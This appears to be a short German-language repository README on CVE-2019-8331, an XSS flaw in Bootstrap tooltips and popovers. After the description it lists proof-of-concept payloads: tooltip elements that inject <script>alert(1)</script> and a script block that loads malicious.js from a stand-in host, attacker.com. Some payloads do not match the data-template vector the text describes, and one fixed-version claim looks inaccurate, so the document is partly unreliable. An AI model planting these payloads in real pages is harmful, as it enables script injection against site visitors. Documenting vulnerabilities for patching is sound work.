thampakon/cve-2019-8331Schwachstelle CVE-2019-8331
CVE-2019-8331 ist eine Sicherheitslücke vom Typ Cross-Site Scripting (XSS), die in Bootstrap gefunden wurde, einer weit verbreiteten JavaScript-Bibliothek für die Entwicklung von Websites und mobilen Anwendungen. Diese Schwachstelle entsteht, weil Bootstrap die mit dem Attribut data-template von Tooltip- oder Popover-Elementen übermittelten Daten nicht ordnungsgemäß filtert, sodass Angreifer bösartigen Code in die Webseite einschleusen können.
Ein Angriff kann erfolgen, wenn der Angreifer die Kontrolle über die als Tooltip oder Popover anzuzeigenden Daten hat. Sobald der Benutzer den Tooltip oder Popover aktiviert, wird der bösartige Code in die Seite eingefügt und möglicherweise vom Browser des Benutzers ausgeführt.
Diese Schwachstelle wurde in Bootstrap Version 4.3.1 und 5.0.0-beta2 behoben. Administratoren sollten betroffene Bootstrap-Versionen aktualisieren, um diese Schwachstelle zu beheben.
Weitere Details zur Schwachstelle CVE-2019-8331:
<x data-toggle="tooltip" data-template="">XSS</x>
<x data-toggle="tooltip" data-html="true" title='<script>alert(1)</script>'>XSS</x>
<x data-toggle="tooltip" data-html="true" data-content='<script>alert(1)</script>'>XSS</x>
<script>
var script = document.createElement("script");
script.src = "https://attacker.com/malicious.js";
document.body.appendChild(script);
</script>